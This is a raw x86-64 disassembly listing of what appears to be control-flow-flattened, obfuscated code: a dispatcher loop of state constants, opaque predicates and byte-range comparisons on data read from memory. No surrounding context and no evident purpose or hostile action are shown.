cmp r12d, 0x5a530a53
jne 0x14050c330
cmp byte [rbp + 0x31f], 0
mov ecx, 0x576b74ae
mov edi, 0xd1dca56c
jmp 0x14050d0e6
cmp r12d, 0xb4b17504
jle 0x14050cc42
cmp r12d, 0xb6fd862c
jle 0x14050cf2c
cmp r12d, 0xb6fd862d
je 0x14050d45d
cmp r12d, 0xb7ee4958
je 0x14050d467
mov ecx, r12d
cmp r12d, 0xb94ead36
jne 0x14050c330
mov ecx, 0x20103661
jmp 0x14050c330
cmp r12d, 0x34249237
jle 0x14050cc77
cmp r12d, 0x3577c1f1
jle 0x14050cf60
cmp r12d, 0x3577c1f2
je 0x14050d47e
mov ecx, dword [rbp + 0x2c0]
cmp r12d, 0x39498194
je 0x14050c330
mov ecx, r12d
cmp r12d, 0x39b2a750
jne 0x14050c330
cmp byte [rbp + 0x323], 0
mov ecx, 0xef53f9e6
mov edi, 0xb18758be
cmovne ecx, edi
jmp 0x14050c330
cmp r12d, 0xf3c53d86
jle 0x14050ccb1
cmp r12d, 0xfb7d2617
jle 0x14050cf88
cmp r12d, 0xfb7d2618
je 0x14050d497
mov ecx, dword [rbp + 0x168]
cmp r12d, 0xfc0f9c55
je 0x14050c330
mov ecx, r12d
cmp r12d, 0xfe617dad
jne 0x14050c330
xor r8d, r8d
mov ecx, 0x9ef63166
jmp 0x14050c330
cmp r12d, 0x789407d3
jle 0x14050cce5
cmp r12d, 0x78eecf41
jle 0x14050cfb6
cmp r12d, 0x78eecf42
je 0x14050d4a1
cmp r12d, 0x7a184854
je 0x14050c31d
mov ecx, r12d
cmp r12d, 0x7b64d6ea
jne 0x14050c330
mov ecx, dword [rbp + 0x218]
jmp 0x14050c330
cmp r12d, 0x9d594587
jle 0x14050cfde
cmp r12d, 0x9d594588
je 0x14050d4bd
mov ecx, dword [rbp + 0x1e0]
cmp r12d, 0x9ef1d789
je 0x14050c330
mov ecx, r12d
cmp r12d, 0x9ef63166
je 0x140511409
jmp 0x14050c330
cmp r12d, 0x30c0ef1
jg 0x14050d00b
cmp r12d, 0xff0c2dff
je 0x14050d4ce
mov ecx, r12d
cmp r12d, 0x90eefd
jne 0x14050c330
mov ecx, dword [rbp + 0x14c]
jmp 0x14050c330
cmp r12d, 0xbd39f16d
jg 0x14050d04c
cmp r12d, 0xb98bcaee
je 0x14050d4db
mov ecx, r12d
cmp r12d, 0xba345fbc
jne 0x14050c330
mov ecx, 0x11825857
jmp 0x14050c330
cmp r12d, 0x418cdd33
jg 0x14050d085
cmp r12d, 0x3f2f8547
je 0x14050d4f7
mov ecx, r12d
cmp r12d, 0x3ff59037
jne 0x14050c330
mov ecx, dword [rbp + 0x22c]
jmp 0x14050c330
cmp r12d, 0xac78743a
jg 0x14050d0b8
cmp r12d, 0xa82ebe37
je 0x14050d501
mov ecx, r12d
cmp r12d, 0xabe3e034
jne 0x14050c330
mov ecx, 0xd3059b6f
jmp 0x14050c330
cmp r12d, 0x23a18587
jg 0x14050d0f1
cmp r12d, 0x20103661
je 0x14050d517
mov ecx, r12d
cmp r12d, 0x22128fff
jne 0x14050c330
cmp r14d, 0x5a
setge byte [rbp + 0x278]
mov ecx, 0x135fcc3b
jmp 0x14050c330
cmp r12d, 0xe83f3e86
jg 0x14050d118
cmp r12d, 0xe7809c3a
je 0x14050d529
mov ecx, r12d
cmp r12d, 0xe7d3c6de
jne 0x14050c330
mov ecx, dword [rbp + 0x144]
jmp 0x14050c330
cmp r12d, 0x5f31b9d3
jg 0x14050d158
cmp r12d, 0x5d291220
je 0x14050d536
mov ecx, r12d
cmp r12d, 0x5d8c7d4f
jne 0x14050c330
mov ecx, dword [rbp + 0x140]
jmp 0x14050c330
cmp r12d, 0x895fd78a
jg 0x14050d17f
cmp r12d, 0x8402cefa
je 0x14050d562
mov ecx, r12d
cmp r12d, 0x86220d5d
jne 0x14050c330
cmp byte [rbp + 0x268], 0
mov ecx, 0xe7809c3a
mov edi, 0xd5b57954
cmovne ecx, edi
xor r9d, r9d
jmp 0x14050c330
cmp r12d, 0x14395eed
jg 0x14050d1b4
mov ecx, dword [rbp + 0x2c4]
cmp r12d, 0x135fcc3b
je 0x14050c330
mov ecx, r12d
cmp r12d, 0x140605b2
jne 0x14050c330
cmp byte [rbp + 0x288], 0
mov ecx, 0x6ceae5d9
mov edi, 0x5f31b9d4
cmovne ecx, edi
jmp 0x14050c330
cmp r12d, 0xd3059b6e
jg 0x14050d1f8
cmp r12d, 0xd033cd7a
je 0x14050d579
mov ecx, r12d
cmp r12d, 0xd1dca56c
jne 0x14050c330
cmp r14d, 0x32
setge byte [rbp + 0x31e]
mov ecx, 0xae960d74
jmp 0x14050c330
cmp r12d, 0x51bb9d1e
jg 0x14050d230
mov ecx, dword [rbp + 0x1dc]
cmp r12d, 0x4a018100
je 0x14050c330
mov ecx, r12d
cmp r12d, 0x4b6a20f7
jne 0x14050c330
mov ecx, 0x969205f1
jmp 0x14050c330
cmp r12d, 0xb1c5674d
jg 0x14050d25a
cmp r12d, 0xb1828316
je 0x14050d58a
mov ecx, r12d
cmp r12d, 0xb18758be
jne 0x14050c330
mov ecx, dword [rbp + 0x13c]
jmp 0x14050c330
cmp r12d, 0x2f9cfbc0
jg 0x14050d28c
mov ecx, dword [rbp + 0x190]
cmp r12d, 0x2d4b429d
je 0x14050c330
mov ecx, r12d
cmp r12d, 0x2e501a5b
jne 0x14050c330
mov ecx, 0x99deb36c
jmp 0x14050c330
cmp r12d, 0xf301ab8d
jg 0x14050d2cb
cmp r12d, 0xef53f9e6
je 0x14050d594
mov ecx, r12d
cmp r12d, 0xf18c4a6a
jne 0x14050c330
mov ecx, 0x7b64d6ea
jmp 0x14050c330
cmp r12d, 0x76851f02
jg 0x14050d2f9
cmp r12d, 0x751c860e
je 0x14050d5ab
mov ecx, r12d
cmp r12d, 0x763ef902
jne 0x14050c330
movzx r9d, byte [rbp + 0x2e8]
mov ecx, 0xe7809c3a
jmp 0x14050c330
cmp r12d, 0xa0d53e64
je 0x14050d5c8
mov ecx, r12d
cmp r12d, 0xa3988b66
jne 0x14050c330
mov ecx, 0x31f6e81
jmp 0x14050c330
cmp r12d, 0x96bfffd
je 0x14050d5f4
mov ecx, r12d
cmp r12d, 0xad1060d
jne 0x14050c330
cmp dl, 0x78
setae byte [rbp + 0x323]
mov ecx, 0x39b2a750
jmp 0x14050c330
cmp r12d, 0xbdc64e88
je 0x14050d5fe
mov ecx, r12d
cmp r12d, 0xc560a85d
jne 0x14050c330
mov ecx, 0x77da8017
jmp 0x14050c330
mov ecx, dword [rbp + 0x170]
cmp r12d, 0x464e4f07
je 0x14050c330
mov ecx, r12d
cmp r12d, 0x482aa3f8
jne 0x14050c330
mov ecx, 0x495c313e
jmp 0x14050c330
cmp r12d, 0xaebd2eca
je 0x14050d613
mov ecx, r12d
cmp r12d, 0xb02114d0
jne 0x14050c330
mov ecx, dword [rbp + 0x20c]
jmp 0x14050c330
cmp r12d, 0x267d1724
je 0x14050d61d
mov ecx, r12d
cmp r12d, 0x2798cef7
jne 0x14050c330
mov ecx, dword [rbp + 0x240]
jmp 0x14050c330
cmp r12d, 0xe9dbd22e
je 0x14050d627
mov ecx, r12d
cmp r12d, 0xead08fc7
jne 0x14050c330
mov byte [rbp + 0x2c8], 0
mov ecx, 0x1a7bb6b3
jmp 0x14050c330
cmp r12d, 0x6c56cc29
je 0x14050d647
mov ecx, r12d
cmp r12d, 0x6ceae5d9
jne 0x14050c330
mov ecx, dword [rbp + 0x214]
jmp 0x14050c330
cmp r12d, 0x8d845308
je 0x14050c31d
mov ecx, r12d
cmp r12d, 0x901b12e1
jne 0x14050c330
mov r8d, esi
mov ecx, 0x9ef63166
jmp 0x14050c330
cmp r12d, 0x15767053
je 0x14050d651
mov ecx, r12d
cmp r12d, 0x157c9d26
jne 0x14050c330
mov ecx, dword [rbp + 0x350]
mov ecx, 0x31a09e96
jmp 0x14050c330
mov ecx, dword [rbp + 0x198]
cmp r12d, 0xd5b57954
je 0x14050c330
mov ecx, r12d
cmp r12d, 0xdaf8f24e
jne 0x14050c330
movzx ecx, byte [rbp + 0x2f4]
mov dword [rbp + 0x2e4], ecx
mov ecx, 0xd033cd7a
jmp 0x14050c330
cmp r12d, 0x57b3b530
je 0x14050d65b
mov ecx, r12d
cmp r12d, 0x5a11b6dc
jne 0x14050c330
mov ecx, dword [rbp + 0x204]
jmp 0x14050c330
cmp r12d, 0xb4b17505
je 0x14050d665
mov ecx, r12d
cmp r12d, 0xb5fe692d
jne 0x14050c330
movzx ecx, byte [rbp + 0x304]
mov dword [rbp + 0x2f8], ecx
mov ecx, 0xeaeb4fd4
jmp 0x14050c330
cmp r12d, 0x34249238
je 0x14050d66f
mov ecx, r12d
cmp r12d, 0x354076fb
jne 0x14050c330
mov ecx, dword [rbp + 0x230]
jmp 0x14050c330
mov ecx, dword [rbp + 0x1a0]
cmp r12d, 0xf3c53d87
je 0x14050c330
mov ecx, r12d
cmp r12d, 0xf5fb2c3f
jne 0x14050c330
mov ecx, dword [rbp + 0x21c]
jmp 0x14050c330
cmp r12d, 0x789407d4
je 0x14050c31d
mov ecx, r12d
cmp r12d, 0x78d88bfd
jne 0x14050c330
mov ecx, dword [rbp + 0x248]
jmp 0x14050c330
cmp r12d, 0x9a36c245
je 0x14050d688
mov ecx, r12d
cmp r12d, 0x9c02b47a
jne 0x14050c330
mov ecx, dword [rbp + 0x330]
mov ecx, 0xb0beb3e4
jmp 0x14050c330
cmp r12d, 0x30c0ef2
je 0x14050d6a0
mov ecx, r12d
cmp r12d, 0x31f6e81
jne 0x14050c330
cmp dword [rbp + 0x128], 0x3c
setge byte [rbp + 0x31d]
cmp r13b, 0x6e
setae byte [rbp + 0x34e]
mov ecx, dword [rbp + 0x244]
jmp 0x14050c330
mov ecx, dword [rbp + 0x188]
cmp r12d, 0xbd39f16e
je 0x14050c330
mov ecx, r12d
cmp r12d, 0xbd5e8e9d
jne 0x14050c330
cmp byte [rbp + 0x278], 0
mov ecx, 0xff0c2dff
mov ebx, 0x8402cefa
jmp 0x14050d4ec
cmp r12d, 0x418cdd34
je 0x14050d6b2
mov ecx, r12d
cmp r12d, 0x42040c67
jne 0x14050c330
cmp byte [rbp + 0x321], 0
mov ecx, 0x901b12e1
mov esi, 0xb37bdaf0
jmp 0x14050d430
cmp r12d, 0xac78743b
je 0x14050d6c8
mov ecx, r12d
cmp r12d, 0xae960d74
jne 0x14050c330
cmp byte [rbp + 0x31e], 0
mov ecx, 0x576b74ae
mov edi, 0x78d88bfd
cmovne ecx, edi
xor r15d, r15d
jmp 0x14050c330
cmp r12d, 0x23a18588
je 0x14050d6dd
mov ecx, r12d
cmp r12d, 0x23d604a4
jne 0x14050c330
mov ecx, 0x76851f03
jmp 0x14050c330
cmp r12d, 0xe83f3e87
je 0x14050d6f6
mov ecx, r12d
cmp r12d, 0xe8a60b10
jne 0x14050c330
cmp byte [rbp + 0x300], 0
mov ecx, 0xeaeb4fd4
mov edi, 0xbdc64e88
cmovne ecx, edi
mov dword [rbp + 0x2f8], 0
jmp 0x14050c330
cmp r12d, 0x5f31b9d4
je 0x14050d725
mov ecx, r12d
cmp r12d, 0x680ab117
jne 0x14050c330
mov ecx, 0x89b66e65
jmp 0x14050c330
mov ecx, dword [rbp + 0x160]
cmp r12d, 0x895fd78b
je 0x14050c330
mov ecx, r12d
cmp r12d, 0x89b66e65
jne 0x14050c330
mov byte [rbp + 0x325], 1
mov ecx, dword [rbp + 0x148]
jmp 0x14050c330
cmp r12d, 0x14395eee
je 0x14050d73d
mov ecx, r12d
cmp r12d, 0x145d0d1b
jne 0x14050c330
movzx ecx, byte [rbp + 0x2d8]
cmp byte [rbp + 0x2b0], 0
mov ebx, 0x3ff59037
mov edi, 0x14395eee
cmovne ebx, edi
test cl, cl
mov ecx, 0x3ff59037
jmp 0x14050d5ea
cmp r12d, 0xd3059b6f
je 0x14050d754
mov ecx, r12d
cmp r12d, 0xd38d4b5c
jne 0x14050c330
mov ecx, dword [rbp + 0x328]
cmp ecx, 9
setl byte [rbp + 0x322]
mov ecx, dword [rbp + 0x134]
jmp 0x14050c330
cmp r12d, 0x51bb9d1f
je 0x14050d766
mov ecx, r12d
cmp r12d, 0x576b74ae
jne 0x14050c330
mov r8d, r15d
mov ecx, 0x9ef63166
jmp 0x14050c330
cmp r12d, 0xb1c5674e
je 0x14050d77b
mov ecx, r12d
cmp r12d, 0xb37bdaf0
jne 0x14050c330
cmp r11b, 0x69
setae byte [rbp + 0x320]
mov ecx, 0xf33880b0
jmp 0x14050c330
cmp r12d, 0x2f9cfbc1
je 0x14050d785
mov ecx, r12d
cmp r12d, 0x31a09e96
jne 0x14050c330
mov ecx, dword [rbp + 0x350]
mov ebx, ecx
neg ebx
cmovl ebx, ecx
cmp ebx, 0xe
setb byte [rbp + 0x31f]
mov ecx, dword [rbp + 0x24c]
jmp 0x14050c330
cmp r12d, 0xf301ab8e
je 0x14050d79a
mov ecx, r12d
cmp r12d, 0xf33880b0
jne 0x14050c330
movzx esi, byte [rbp + 0x320]
mov ecx, 0x901b12e1
jmp 0x14050c330
cmp r12d, 0x76851f03
je 0x14050d7ae
mov ecx, r12d
cmp r12d, 0x77da8017
jne 0x14050c330
mov ecx, dword [rbp + 0xfc]
jmp 0x14050c330
movzx ecx, byte [rbp + 0x1f4]
mov byte [rbp + 0x321], cl
mov ecx, 0x42040c67
jmp 0x14050c330
mov ecx, 0xb6fd862d
jmp 0x14050c330
cmp r13b, 0xf1
setae byte [rbp + 0x2d8]
cmp r13b, 0xff
setne byte [rbp + 0x2b0]
mov ecx, 0x145d0d1b
jmp 0x14050c330
mov ecx, dword [rbp + 0x330]
mov ebx, ecx
neg ebx
cmovl ebx, ecx
cmp ebx, 0xe
setb byte [rbp + 0x280]
mov ecx, dword [rbp + 0x208]
jmp 0x14050c330
mov ecx, 0xb02114d0
jmp 0x14050c330
mov rcx, qword [rbp + 0x120]
mov dword [rbp + 0x330], ecx
mov ecx, dword [rbp + 0x210]
jmp 0x14050c330
mov r8d, dword [rbp + 0x2f8]
mov ecx, 0x9ef63166
jmp 0x14050c330
cmp dl, 0xbe
setae byte [rbp + 0x180]
mov ecx, 0x34249238
jmp 0x14050c330
cmp r11b, 0x64
setae byte [rbp + 0x34d]
mov ecx, 0x30c0ef2
jmp 0x14050c330
mov ecx, 0x51bb9d1f
jmp 0x14050c330
cmp byte [rbp + 0x2c8], 0
mov ecx, 0xe335676c
mov edi, 0x709a45bb
cmovne ecx, edi
jmp 0x14050c330
mov ecx, 0x354076fb
jmp 0x14050c330
mov byte [rbp + 0x2b4], 0
mov ecx, dword [rbp + 0x238]
jmp 0x14050c330
cmp byte [rbp + 0x322], 0
mov ecx, 0x901b12e1
mov esi, 0x9d594588
cmovne ecx, esi
xor esi, esi
jmp 0x14050c330
cmp byte [rbp + 0x2b4], 0
mov ecx, 0xead08fc7
mov edi, 0x48c9fc5f
cmovne ecx, edi
jmp 0x14050c330
mov ecx, 0xfc0f9c55
jmp 0x14050c330
mov ecx, 0x90eefd
jmp 0x14050c330
mov ecx, dword [rbp + 0x1f8]
mov dword [rbp + 0x328], ecx
mov ecx, dword [rbp + 0x138]
jmp 0x14050c330
cmp byte [rbp + 0x34f], 0
mov ecx, 0x895fd78b
mov edi, 0xe9dbd22e
cmovne ecx, edi
jmp 0x14050c330
mov ecx, 0xbd39f16e
jmp 0x14050c330
cmp byte [rbp + 0x2d0], 0
mov ecx, 0xe7809c3a
mov ebx, 0xa82ebe37
cmovne ecx, ebx
xor r9d, r9d
jmp 0x14050c330
mov dword [rbp + 0x340], r14d
mov ecx, 0x751c860e
jmp 0x14050c330
mov r8d, r10d
mov ecx, 0x9ef63166
jmp 0x14050c330
cmp byte [rbp + 0x308], 0
mov ecx, 0xff0c2dff
mov ebx, 0x5a11b6dc
cmovne ecx, ebx
xor r10d, r10d
jmp 0x14050c330
mov ecx, 0xb05c452f
jmp 0x14050c330
mov ecx, dword [rbp + 0x128]
mov dword [rbp + 0x358], ecx
mov ecx, 0x5d291220
jmp 0x14050c330
movzx r10d, byte [rbp + 0x310]
mov ecx, 0xff0c2dff
jmp 0x14050c330
mov r8d, r9d
mov ecx, 0x9ef63166
jmp 0x14050c330
cmp r13b, 0x69
mov ecx, dword [rbp + 0x358]
mov ebx, 0xe7809c3a
mov edi, 0x2f9cfbc1
cmovae ebx, edi
cmp ecx, 0x32
mov ecx, 0xe7809c3a
cmovl ebx, ecx
xor r9d, r9d
mov ecx, ebx
jmp 0x14050c330
movzx ecx, byte [rbp + 0x1e4]
mov byte [rbp + 0x308], cl
mov ecx, 0x39498194
jmp 0x14050c330
mov r8d, dword [rbp + 0x2e4]
mov ecx, 0x9ef63166
jmp 0x14050c330
mov ecx, 0x2d4b429d
jmp 0x14050c330
mov rcx, qword [rbp + 0x120]
mov dword [rbp + 0x350], ecx
mov ecx, 0x4a018100
jmp 0x14050c330
mov ecx, dword [rbp + 0x340]
cmp ecx, 0x3c
mov ecx, 0x901b12e1
mov esi, 0xa4c5bbcd
cmovge ecx, esi
xor esi, esi
jmp 0x14050c330
movzx ecx, byte [rbp + 0x34c]
cmp byte [rbp + 0x34b], 0
mov ebx, 0xead3e304
mov edi, 0x9a36c245
cmovne ebx, edi
test cl, cl
mov ecx, 0xead3e304
cmove ebx, ecx
mov ecx, ebx
jmp 0x14050c330
mov ecx, 0xe7ef058
jmp 0x14050c330
cmp r11b, 0x4f
setb byte [rbp + 0x304]
mov ecx, 0xece27445
jmp 0x14050c330
mov ecx, 0xdd066470
jmp 0x14050c330
mov ecx, 0xb7ee4958
jmp 0x14050c330
cmp r13b, 0xdd
setae byte [rbp + 0x34c]
cmp r13b, 0xff
setne byte [rbp + 0x34b]
mov ecx, 0xa0d53e64
jmp 0x14050c330
mov ecx, 0x464e4f07
jmp 0x14050c330
mov ecx, 0x2ad23082
jmp 0x14050c330
mov ecx, 0x5d8c7d4f
jmp 0x14050c330
mov ecx, 0x418cdd34
jmp 0x14050c330
cmp byte [rbp + 0x180], 0
mov ecx, 0xa61e6778
mov edi, 0xf3c53d87
cmovne ecx, edi
jmp 0x14050c330
cmp dword [rbp + 0x1f0], 0x1d
setb byte [rbp + 0x2b8]
mov ecx, 0xe83f3e87
jmp 0x14050c330
movzx r15d, byte [rbp + 0x34d]
mov ecx, 0x576b74ae
jmp 0x14050c330
cmp r14d, 0x5a
setge byte [rbp + 0x2d0]
mov ecx, dword [rbp + 0x220]
jmp 0x14050c330
cmp r11b, 0x5a
setb byte [rbp + 0x2f4]
mov ecx, 0xdaf8f24e
jmp 0x14050c330
cmp byte [rbp + 0x324], 0
mov ecx, 0xad1060d
mov edi, 0xfe617dad
cmovne ecx, edi
jmp 0x14050c330
cmp r11b, 0x3d
mov ecx, 0xd033cd7a
mov edi, 0xac78743b
cmovae ecx, edi
cmp byte [rbp + 0x2b8], 0
mov edi, 0xd033cd7a
cmove ecx, edi
mov dword [rbp + 0x2e4], 0
jmp 0x14050c330
cmp dword [rbp + 0x1e8], 9
setb byte [rbp + 0x268]
mov ecx, 0x86220d5d
jmp 0x14050c330
movzx ecx, byte [rbp + 0x1ec]
mov byte [rbp + 0x300], cl
mov ecx, 0xe8a60b10
jmp 0x14050c330
mov byte [rbp + 0x34f], 0
mov ecx, dword [rbp + 0x23c]
jmp 0x14050c330
cmp dl, 0x78
setae byte [rbp + 0x288]
mov ecx, dword [rbp + 0x228]
jmp 0x14050c330
mov ecx, 0x9ef1d789
jmp 0x14050c330
cmp r11b, 0x69
setae byte [rbp + 0x2e8]
mov ecx, 0xf5fb2c3f
jmp 0x14050c330
cmp dl, 0xbe
setae byte [rbp + 0x324]
mov ecx, 0xe7d3c6de
jmp 0x14050c330
movzx ecx, byte [rbp + 0x31d]
cmp byte [rbp + 0x34e], 0
mov ebx, 0x576b74ae
mov edi, 0x70a3a0c7
cmovne ebx, edi
test cl, cl
mov ecx, 0x576b74ae
cmove ebx, ecx
xor r15d, r15d
mov ecx, ebx
jmp 0x14050c330
mov rax, qword [rax]
mov qword [0x140b85038], rax
mov eax, 0xd64e65f2
jmp 0x140501b1d
lea rax, [rbp + 0x350]
mov qword [rbp + 0x358], rax
lea rax, [0x140b84fc0]
mov qword [rbp + 0x330], rax
mov rax, qword [rbp + 0x358]
mov rdx, qword [rbp + 0x330]
mov rdx, qword [rdx]
mov qword [rax], rdx
mov eax, 0x62491ecd
nop word cs:[rax + rax]
cmp eax, 0x62491ecd
je 0x14050d843
cmp eax, 0x9b9dc05c
jne 0x14050d830
jmp 0x140511426
mov eax, 0x9b9dc05c
jmp 0x14050d830
mov rax, qword [rbp + 0x330]
mov rdi, qword [rbp + 0x308]
lea rax, [0x140b85050]
mov qword [rbp + 0x358], rax
mov eax, dword [0x140b7e0e0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b7e0e4], 0xa
setl cl
or cl, al
mov eax, 0x19a0c41a
mov ecx, 0xf52b66fe
cmovne eax, ecx
mov ecx, 0x19a0c41a
mov edx, 0x45904bea
cmovne ecx, edx
mov edx, 0x9dd9ef1c
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x19a0c419
jle 0x14050d8f0
cmp edx, 0x19a0c41a
je 0x14050d907
cmp edx, 0x2ced6300
je 0x14051149c
cmp edx, 0x45904bea
jne 0x14050d8b0
mov rdx, qword [rbp + 0x358]
mov rdx, qword [rdx]
mov qword [rbp + 0x330], rdx
mov edx, eax
jmp 0x14050d8b0
cmp edx, 0x9dd9ef1c
je 0x14050d915
cmp edx, 0xf52b66fe
jne 0x14050d8b0
mov edx, 0x2ced6300
jmp 0x14050d8b0
mov rdx, qword [rbp + 0x358]
mov edx, 0x45904bea
jmp 0x14050d8b0
mov edx, ecx
jmp 0x14050d8b0
mov rdx, qword [rbp + 0x330]
movzx r9d, byte [rdx]
cmp r9d, 0x3d
setae r8b
movzx r14d, byte [rdx + 1]
movzx r13d, byte [rdx + 2]
cmp r13d, 0x69
setae r15b
cmp r13d, 0x6e
setae r10b
mov edi, dword [0x140b86d38]
mov esi, dword [0x140b86d3c]
lea ebx, [rdi - 1]
imul ebx, edi
test bl, 1
sete bl
sete byte [rbp + 0x327]
cmp esi, 0xa
setl byte [rbp + 0x326]
setl cl
or cl, bl
mov eax, r9d
sub eax, r14d
cmp eax, 0x3c
setge bl
and bl, r10b
mov byte [rbp + 0x1e0], bl
mov r11d, r13d
sub r11d, r14d
mov edi, r13d
sub edi, r9d
mov ebx, edi
neg ebx
mov esi, edi
cmovge esi, ebx
mov dword [rbp + 0x1e4], esi
lea esi, [r14 - 0xf1]
cmp esi, 0xe
setb dl
and dl, r8b
mov byte [rbp + 0x1e8], dl
mov edx, r14d
add edx, 0xffffffc3
mov dword [rbp + 0x1ec], edx
mov dword [rbp + 0x264], eax
cmp eax, 0x32
setge al
and al, r15b
mov byte [rbp + 0x1f0], al
mov qword [rbp + 0x128], rdi
lea eax, [rdi + 0x21600fe9]
sub eax, 0x21600fe9
cmovb eax, ebx
mov dword [rbp + 0x1f4], eax
test cl, cl
mov eax, 0xb1c5674e
mov ecx, 0x8d845308
cmovne eax, ecx
mov dword [rbp + 0x120], eax
mov eax, 0xb1c5674e
mov ecx, 0x9ef1d789
cmovne eax, ecx
mov dword [rbp + 0x1f8], eax
mov eax, 0x11a435f8
mov ecx, 0xb94ead36
cmovne eax, ecx
mov dword [rbp + 0x1fc], eax
mov eax, 0x11a435f8
mov ecx, 0x499fa256
cmovne eax, ecx
mov dword [rbp + 0x200], eax
mov eax, 0x4b6a20f7
mov ecx, 0xb98bcaee
cmovne eax, ecx
mov dword [rbp + 0x2e4], eax
mov eax, 0x4b6a20f7
mov ecx, 0x969205f1
cmovne eax, ecx
mov dword [rbp + 0x2bc], eax
mov eax, 0x482aa3f8
mov ecx, 0xbd5e8e9d
cmovne eax, ecx
mov dword [rbp + 0x2c0], eax
mov eax, 0x482aa3f8
mov ecx, 0x495c313e
cmovne eax, ecx
mov dword [rbp + 0x150], eax
mov eax, 0x9c02b47a
mov ecx, 0x7344cfcc
cmovne eax, ecx
mov dword [rbp + 0x204], eax
mov eax, 0x9c02b47a
mov ecx, 0xb0beb3e4
cmovne eax, ecx
mov dword [rbp + 0x208], eax
mov eax, 0x15767053
mov ecx, 0x297f9036
cmovne eax, ecx
mov dword [rbp + 0x20c], eax
mov eax, 0x15767053
mov ecx, 0x2ad23082
cmovne eax, ecx
mov dword [rbp + 0x210], eax
mov eax, 0xf18c4a6a
mov ecx, 0x763ef902
cmovne eax, ecx
mov dword [rbp + 0x214], eax
mov eax, 0xf18c4a6a
mov ecx, 0x7b64d6ea
cmovne eax, ecx
mov dword [rbp + 0x218], eax
mov eax, 0xfb7d2618
mov ecx, 0x78eecf42
cmovne eax, ecx
mov dword [rbp + 0x2c4], eax
mov eax, 0xfb7d2618
mov ecx, 0xbd39f16e
cmovne eax, ecx
mov dword [rbp + 0x188], eax
mov eax, 0xb4b17505
mov ecx, 0xb1828316
cmovne eax, ecx
mov dword [rbp + 0x21c], eax
mov eax, 0xb4b17505
mov ecx, 0x418cdd34
cmovne eax, ecx
mov dword [rbp + 0x190], eax
mov eax, 0x96bfffd
mov ecx, 0x140605b2
cmovne eax, ecx
mov edx, 0x96bfffd
mov ecx, 0xe7ef058
cmovne edx, ecx
mov dword [rbp + 0x220], edx
mov edx, 0x95314845
mov ecx, 0x2e501a5b
cmovne edx, ecx
mov dword [rbp + 0x224], edx
mov edx, 0x95314845
mov ecx, 0x51bb9d1f
cmovne edx, ecx
mov dword [rbp + 0x198], edx
mov edx, 0x3f2f8547
mov ecx, 0x7a184854
cmovne edx, ecx
mov ebx, 0x3f2f8547
mov ecx, 0xb05c452f
cmovne ebx, ecx
mov dword [rbp + 0x1a8], ebx
mov ebx, 0x5a414769
mov ecx, 0x789407d4
cmovne ebx, ecx
mov dword [rbp + 0x1a0], ebx
mov ebx, 0x5a414769
mov ecx, 0xfc0f9c55
cmovne ebx, ecx
mov dword [rbp + 0x228], ebx
mov ebx, 0x1cdf725d
mov ecx, 0xb5fe692d
cmovne ebx, ecx
mov dword [rbp + 0x22c], ebx
mov ebx, 0x1cdf725d
mov ecx, 0x354076fb
cmovne ebx, ecx
mov dword [rbp + 0x230], ebx
mov ebx, 0x6c56cc29
mov ecx, 0x5a36ce4f
cmovne ebx, ecx
mov dword [rbp + 0x168], ebx
mov ebx, 0x6c56cc29
mov ecx, 0x464e4f07
cmovne ebx, ecx
mov dword [rbp + 0x170], ebx
mov ebx, 0xaebd2eca
mov ecx, 0xcd6a80a5
cmovne ebx, ecx
mov dword [rbp + 0x234], ebx
mov ebx, 0xaebd2eca
mov ecx, 0xdd066470
cmovne ebx, ecx
mov dword [rbp + 0x158], ebx
mov ebx, 0xabe3e034
mov ecx, 0x2cda350e
cmovne ebx, ecx
mov dword [rbp + 0x238], ebx
mov ebx, 0xabe3e034
mov ecx, 0xd3059b6f
cmovne ebx, ecx
mov dword [rbp + 0x23c], ebx
mov ebx, 0xa3988b66
mov ecx, 0x23d604a4
cmovne ebx, ecx
mov dword [rbp + 0x240], ebx
mov ebx, 0xa3988b66
mov ecx, 0x31f6e81
cmovne ebx, ecx
mov dword [rbp + 0x244], ebx
mov ebx, 0x157c9d26
mov ecx, 0x5a530a53
cmovne ebx, ecx
mov dword [rbp + 0x248], ebx
mov ebx, 0x157c9d26
mov ecx, 0x31a09e96
cmovne ebx, ecx
mov dword [rbp + 0x160], ebx
mov ebx, 0x1faaa5f6
mov ecx, 0xde8a5085
cmovne ebx, ecx
mov dword [rbp + 0x24c], ebx
mov ebx, 0x1faaa5f6
mov ecx, 0xd38d4b5c
cmovne ebx, ecx
mov dword [rbp + 0x1dc], ebx
mov ebx, 0x267d1724
mov ecx, 0xba345fbc
cmovne ebx, ecx
mov dword [rbp + 0x134], ebx
mov ebx, 0x267d1724
mov ecx, 0xb7ee4958
cmovne ebx, ecx
mov dword [rbp + 0x138], ebx
mov ebx, 0x57b3b530
mov ecx, 0x23a18588
cmovne ebx, ecx
mov dword [rbp + 0x13c], ebx
mov ebx, 0x57b3b530
mov ecx, 0x5d8c7d4f
cmovne ebx, ecx
mov dword [rbp + 0x140], ebx
mov ebx, 0x680ab117
mov ecx, 0xb15b1a2e
cmovne ebx, ecx
mov dword [rbp + 0x144], ebx
mov ebx, 0x680ab117
mov ecx, 0x89b66e65
cmovne ebx, ecx
mov dword [rbp + 0x148], ebx
mov ebx, 0xc560a85d
mov ecx, 0xc79ad12f
cmovne ebx, ecx
mov dword [rbp + 0x14c], ebx
mov dword [rbp + 0x2dc], ecx
mov dword [rbp + 0x2f8], ecx
mov ecx, 0xa73577fc
jmp 0x14050dd90
xor r8d, r8d
mov ecx, 0x9ef63166
nop word cs:[rax + rax]
nop
mov esi, ecx
cmp ecx, 0xff0c2dfe
jg 0x14050de30
cmp esi, 0xb98bcaed
jg 0x14050deb0
cmp esi, 0xa82ebe36
jg 0x14050df92
cmp esi, 0x9a36c244
jle 0x14050e100
cmp esi, 0xa0d53e63
jle 0x14050e379
cmp esi, 0xa4c5bbcc
jle 0x14050e6d6
cmp esi, 0xa4c5bbcd
je 0x14050ec77
mov ecx, dword [rbp + 0x198]
cmp esi, 0xa61e6778
je 0x14050dd90
mov ecx, esi
cmp esi, 0xa73577fc
jne 0x14050dd90
movzx ecx, byte [rbp + 0x327]
cmp byte [rbp + 0x326], 0
mov esi, 0xc560a85d
mov edi, 0x77da8017
cmovne esi, edi
test cl, cl
cmovne esi, edi
mov ecx, esi
jmp 0x14050dd90
cmp esi, 0x3f2f8546
jg 0x14050df20
cmp esi, 0x20103660
jg 0x14050dff7
cmp esi, 0x135fcc3a
